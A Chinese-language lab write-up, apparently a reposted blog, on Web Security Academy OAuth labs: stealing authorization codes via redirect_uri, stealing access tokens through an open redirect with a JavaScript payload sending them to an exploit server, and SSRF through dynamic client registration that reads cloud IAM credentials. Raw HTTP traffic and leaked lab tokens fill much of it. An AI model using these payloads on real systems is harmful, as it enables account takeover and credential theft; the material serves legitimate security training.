Set-Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; path=/interaction/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:17 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_; path=/auth/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:17 GMT; samesite=lax; secure; httponly
Location: /interaction/B3ArOcTi85E97Xwrgpmc_
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 13:17:17 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/B3ArOcTi85E97Xwrgpmc_">/interaction/B3ArOcTi85E97Xwrgpmc_</a>.

交互2-1:客户端主动跳转至OAuth登录界面

GET /interaction/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net

响应包

<form autocomplete="off" action="/interaction/B3ArOcTi85E97Xwrgpmc_/login" class="login-form" method="post">
<input required type="text" name="username" placeholder="Enter a username or email" autofocus="on">
<input required type="password" name="password" placeholder="and password" >

<button type="submit" class="login login-submit">Sign-in</button>
</form>

交互2-2: 用户输入账号密码登陆OAuth,用于完成后续的用户确认

POST /interaction/B3ArOcTi85E97Xwrgpmc_/login HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Referer: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net/interaction/B3ArOcTi85E97Xwrgpmc_
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

username=wiener&password=peter
	响应含下一步跳转url
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net/auth/B3ArOcTi85E97Xwrgpmc_
Date: Wed, 25 May 2022 13:17:30 GMT
Connection: close
Content-Length: 0

交互2-3 增加一个session,并含下一步跳转url

GET /auth/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_ing
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; path=/interaction/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:31 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_; path=/auth/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:31 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=x0eVTPB_m7JKuiQCFXeyH; path=/; expires=Wed, 08 Jun 2022 13:17:31 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=x0eVTPB_m7JKuiQCFXeyH; path=/; expires=Wed, 08 Jun 2022 13:17:31 GMT; secure; httponly
Location: /interaction/B3ArOcTi85E97Xwrgpmc_
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 13:17:31 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/B3ArOcTi85E97Xwrgpmc_">/interaction/B3ArOcTi85E97Xwrgpmc_</a>.

交互2-4:展示授权信息详细页

GET /interaction/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; _session=x0eVTPB_m7JKuiQCFXeyH; _session.legacy=x0eVTPB_m7JKuiQCFXeyH
<strong>WeLikeToBlog</strong> is requesting access to:</li>
<ul>

<li>Profile</li>

<li>Email</li>

<form autocomplete="off" action="/interaction/B3ArOcTi85E97Xwrgpmc_/confirm" method="post">
<button autofocus type="submit" class="login login-submit">Continue</button>
</form>

交互2-5:用户确认授权

POST /interaction/B3ArOcTi85E97Xwrgpmc_/confirm HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; _session=x0eVTPB_m7JKuiQCFXeyH; _session.legacy=x0eVTPB_m7JKuiQCFXeyH
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net/auth/B3ArOcTi85E97Xwrgpmc_
Date: Wed, 25 May 2022 13:17:38 GMT
Connection: close
Content-Length: 0

交互2-6:根据上一步响应,跳转之前访问过的路径,只是这回带了两个session

GET /auth/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_; _session=x0eVTPB_m7JKuiQCFXeyH; _session.legacy=x0eVTPB_m7JKuiQCFXeyH

响应中包含授权码

Redirecting to <a href="https://ac161f371efa484fc0cd6f6500bf009a.web-security-academy.net/oauth-callback?code=TTr3b7FBzmVHh4-GejLf9H07DP8MYpn1a_jz9uH3CIu">https://ac161f371efa484fc0cd6f6500bf009a.web-security-academy.net/oauth-callback?code=TTr3b7FBzmVHh4-GejLf9H07DP8MYpn1a_jz9uH3CIu</a>

交互3:OAuth服务器将授权码(code)发送给客户端

GET /oauth-callback?code=TTr3b7FBzmVHh4-GejLf9H07DP8MYpn1a_jz9uH3CIu HTTP/1.1
Host: ac161f371efa484fc0cd6f6500bf009a.web-security-academy.net
Cookie: session=3pNj65CoXY2qnsvZCynoRGaV6lU1RVb0

交互4:使用授权码申请访问令牌
突然发现数据包中没有了。是的根据文章开头介绍的授权码授权方式,从第4步开始使用专用安全通道后台传递数据,所以无法再拦截分析包了。

以上就是完整的授权码授权方式的分析。掌握了上面的流程,其实在分析这道题利用redirec_uri实现窃取code值的目的发放很明确了。

  1. 下面我们来解题了,原理就是修改交互1中的url参数redirect_uri值为攻击机,发送给目标用户,这样交互3的数据包就会发到攻击机上,使攻击者获得code.
<iframe src="https://oauth-ac441fc71e308b78c0260c0902c20096.web-security-academy.net/auth?client_id=fwkhrpwp8z0gwo7chxrmy&redirect_uri=https://exploit-acec1f181e298b2bc0bd0c150122004d.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>

查看访问日志果然找到访问记录
"GET /?code=Q4Tg5-rB-_-zu0MKq6cPcMtTUeRysPemcldGkorFi9o HTTP/1.1" 200......

  1. 攻击者获得后,再在浏览器中发起交互3的URL访问构,完成后续的流程。

https://ac531fb41ec08b3cc0810c79002c001a.web-security-academy.net/oauth-callback?code=Q4Tg5-rB-_-zu0MKq6cPcMtTUeRysPemcldGkorFi9o
成功登陆,后续不再赘述

4. 通过开放重定向窃取OAuth访问令牌(Stealing OAuth access tokens via an open redirect)

  • 目标

找到客户端应用的一个开放重定向漏洞,并利用此漏洞获取admin的访问令牌,获取其API KEY提交。

  • 解题思路
    1. 首先找到客户端应用存在的访问重定向漏洞
GET /post/next?path=/post?postId=6 HTTP/1.1
Host: ac2b1f881e04cc62c048795500be00cf.web-security-academy.net
Cookie: session=Rv9IbR4Pq6TofZJQyhDSGWcs8svcf58v
  1. 确认OAuth的请求参数redirect_uri可以路径穿越或截断
GET /auth?client_id=yodhmqw5cibuz9vdzcomt&redirect_uri=https://ac2b1f881e04cc62c048795500be00cf.web-security-academy.net/oauth-callback../post/next?path=https://exploit-ac811f7f1eafcc5ac0c77950017b0084.web-security-academy.net/exploit&response_type=token&nonce=1378893845&scope=openid%20profile%20email HTTP/1.1
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=dskLB4pHVVWJ7PnC_Ux8S; path=/interaction/dskLB4pHVVWJ7PnC_Ux8S; expires=Thu, 26 May 2022 00:57:38 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=dskLB4pHVVWJ7PnC_Ux8S; path=/auth/dskLB4pHVVWJ7PnC_Ux8S; expires=Thu, 26 May 2022 00:57:38 GMT; samesite=lax; secure; httponly
Location: /interaction/dskLB4pHVVWJ7PnC_Ux8S
Content-Type: text/html; charset=utf-8
Date: Thu, 26 May 2022 00:47:38 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/dskLB4pHVVWJ7PnC_Ux8S">/interaction/dskLB4pHVVWJ7PnC_Ux8S</a>
  1. 重新构造请求,将redirect_uri路径,路径穿越至存在重定向漏洞的页面,且参数为攻击机url

https://oauth-ac031fdd1e29cc34c07079ff028e00f7.web-security-academy.net/auth?client_id=yodhmqw5cibuz9vdzcomt&redirect_uri=https://ac2b1f881e04cc62c048795500be00cf.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-ac811f7f1eafcc5ac0c77950017b0084.web-security-academy.net/exploit&response_type=token&nonce=1378893845&scope=openid%20profile%20email
浏览器访问该路径,查看攻击机有相关log
/?access_token=w9h6KFc7fIuvtqzf3bNZEQOhTnISa1XoTl8TOQA80F6&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email 拿到access_token攻击可行。
以上测试可行,可以开始正式攻击了。

  1. 在攻击机中构造js代码,发送给目标用户,引诱其点击
<script>
  if (!document.location.hash) {
      
      
    window.location = 'https://oauth-ac031fdd1e29cc34c07079ff028e00f7.web-security-academy.net/auth?client_id=yodhmqw5cibuz9vdzcomt&redirect_uri=https://ac2b1f881e04cc62c048795500be00cf.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-ac811f7f1eafcc5ac0c77950017b0084.web-security-academy.net/exploit&response_type=token&nonce=1378893845&scope=openid%20profile%20email'
  } else {
      
      
    window.location = '/?'+document.location.hash.substr(1)
  }
</script>

收到关键信息
/?access_token=92sK4CuiUCtdk9VvkVR7HmQeh_JklJA2NN1Nod35Pu-&expires_in=3600&token_type=Bearer

  1. 找到最终/me这个数据包,替换里面的session
GET /me HTTP/1.1
Host: oauth-ac031fdd1e29cc34c07079ff028e00f7.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac2b1f881e04cc62c048795500be00cf.web-security-academy.net/
Authorization: Bearer 92sK4CuiUCtdk9VvkVR7HmQeh_JklJA2NN1Nod35Pu-
Content-Type: application/json
Origin: https://ac2b1f881e04cc62c048795500be00cf.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

获取admin账户信息

{
    
    "sub":"administrator","apikey":"7ro4jbKbsgvgSX7hFm30Gs7jJTY9MJQB","name":"Administrator","email":"[email protected]","email_verified":true}

5. 通过代理页面窃取OAuth访问令牌 (Stealing OAuth access tokens via a proxy page

  • 目标

找到客户端应用的一个开放重定向漏洞,并利用此漏洞获取admin的访问令牌,获取其API KEY提交。
测试账号wiener:peter

  • 解题思路

暂略

6.通过OpenID客户端动态注册OAuth服务,结合SSRF获取敏感信息(SSRF via OpenID dynamic client registration

  • 目标

使用SSRF攻击,获取http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/中保存的secret access key
测试账号wiener:peter

  • 解题思路
    1. 测试默认公开路径,查找注册OAuth服务地址,

https://OAuth路径/.well-known/openid-configuration
最终找到:https://oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net/reg
请添加图片描述

  1. 构造数据包,测试动态注册Oauth服务账户
POST /reg HTTP/1.1
Host: oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net
Content-Type: application/json
Content-Length: 59

{
	"redirect_uris" :    [
			"https://example.com"
	]
}

响应数据包,成功

HTTP/1.1 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Thu, 26 May 2022 21:50:40 GMT
Connection: close
Keep-Alive: timeout=5
Content-Length: 874

{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1653601840,"client_id":"iY5mnwgiJllrLS-Z2GJC8","client_secret_expires_at":0,"client_secret":"A8nOzvLB-czgTiYgLxLYcZhTwVD-yI3Vky2UebY44ChL2L-yFf4l55VnKQPzPP1KRKgA2nC6OV1lmOWWl_iQow","redirect_uris":["https://example.com"],"registration_client_uri":"https://oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net/reg/iY5mnwgiJllrLS-Z2GJC8","registration_access_token":"lJqCBOE8Su4OY9SAcF0WwGg-9K85IylOIPDhlVr2tRH"}
  1. 在完整流程中寻找可利用SSRF的点,发现数据包/interaction/xxx响应包中,包含/client/client_id/logo的调用。

         而这个路径,在标准注册中是可以设定的,尝试测试
    
  • 能在注册时控制这个路径
  • 访问这个路径,会向外部返回响应(使用Burp Collaborator)

构造数据包

POST /reg HTTP/1.1
Host: oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net
Content-Type: application/json
Content-Length: 136

{
	"redirect_uris" :    [
			"https://example.com"
	],
"logo_uri" : "https://gtdkurzrtvdfk04ftwsoeg3nye44st.burpcollaborator.net" (设置路径,此处使用Burp Collaborator,方便测试第二点)
}

成功响应logo_uri 满足第一点

HTTP/1.1 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Thu, 26 May 2022 21:59:41 GMT
Connection: close
Keep-Alive: timeout=5
Content-Length: 947

{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1653602381,"client_id":"TNzva7sDUMPPvpNmXSF1s","client_secret_expires_at":0,"client_secret":"DhH_2YxcOibB4py51Kq97X3CghK7e9TKLHznV-g14plbpp3ChAO4dZ15Ws02mABudBF-eI1488E4lmxQHx3Szg","logo_uri":"https://gtdkurzrtvdfk04ftwsoeg3nye44st.burpcollaborator.net","redirect_uris":["https://example.com"],"registration_client_uri":"https://oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net/reg/TNzva7sDUMPPvpNmXSF1s","registration_access_token":"M6yfoOl88UvbZaNzitexiWk0rxzvKdMrmBSIMy5nCQ4"}

访问logo的路径

GET /client/TNzva7sDUMPPvpNmXSF1s/logo HTTP/1.1
Host: oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net
Cookie: _session=baO1nC8sXcXFoW_CJZ8zs; _session.legacy=baO1nC8sXcXFoW_CJZ8zs
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net/interaction/0Z4_q3kJtGuX5fcIua1f5
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

Burp Collaborator,有HTTP交互,满足第二点
请添加图片描述

  1. 2点都满足,还说什么,赤裸裸的漏洞,可以构造攻击包了。
POST /reg HTTP/1.1
Host: oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net
Content-Type: application/json
Content-Length: 148

{
	"redirect_uris" :    [
			"https://example.com"
	],
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
响应成功将路径注册
HTTP/1.1 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Thu, 26 May 2022 22:02:39 GMT
Connection: close
Keep-Alive: timeout=5
Content-Length: 959

{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1653602559,"client_id":"zbX2UFBDDn1mJq1dpqw3l","client_secret_expires_at":0,"client_secret":"cq6nTcm85LxCrQKOafXo-J9phKtSOo4F6Ppb_EZsmTkuTLGGDGRGwjkyitOxqwQ0Culy2NuzYysRsZsC7_uidQ","logo_uri":"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/","redirect_uris":["https://example.com"],"registration_client_uri":"https://oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net/reg/zbX2UFBDDn1mJq1dpqw3l","registration_access_token":"5bwVqZhTxW53x0TbopCwMvQIDMlvJAyrI67tZqweR-g"}

访问路径/client/client_id/logo查看内容

GET /client/zbX2UFBDDn1mJq1dpqw3l/logo HTTP/1.1
Host: oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net
Cookie: _session=baO1nC8sXcXFoW_CJZ8zs; _session.legacy=baO1nC8sXcXFoW_CJZ8zs
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://oauth-ac421fca1ff0dfc0c03c549c0225007f.web-security-academy.net/interaction/0Z4_q3kJtGuX5fcIua1f5
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


响应内容是完整的敏感数据,成功

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Date: Thu, 26 May 2022 22:04:01 GMT
Connection: close
Content-Length: 530

{
  "Code" : "Success",
  "LastUpdated" : "2022-05-26T21:36:38.294348893Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "e5Dcjor6Q90X6MjpdEKn",
  "SecretAccessKey" : "YOk9WCDQcICRYvlceKuOjwwErMa0L3cXmtVXCX8w",
  "Token" : "dHOKTjxtLW9JDcsRkL81QjjBdcZRXIc5OMvcZxZyIAAL9DKpn64QcN7c5smjssS23pffwK0E8hFejj9h4cdyo2iNXBdMEzTr72etYK3iWtjYGKECxhXwQGUopDyWsKJdUkO3VGM4Uv7XPimUzdlZQReKS5tCf4xJnvTYrXGvks9D4yy6lMPw3vvITPgLeLtBsoFFILhFO2gRNEQNYhgpnmwTiIlnY8DdlHoo288yRptrz9TzJef17EFVQdXk64BP",
  "Expiration" : "2028-05-24T21:36:38.294348893Z"
}

猜你喜欢

转载自blog.csdn.net/eason612/article/details/125001594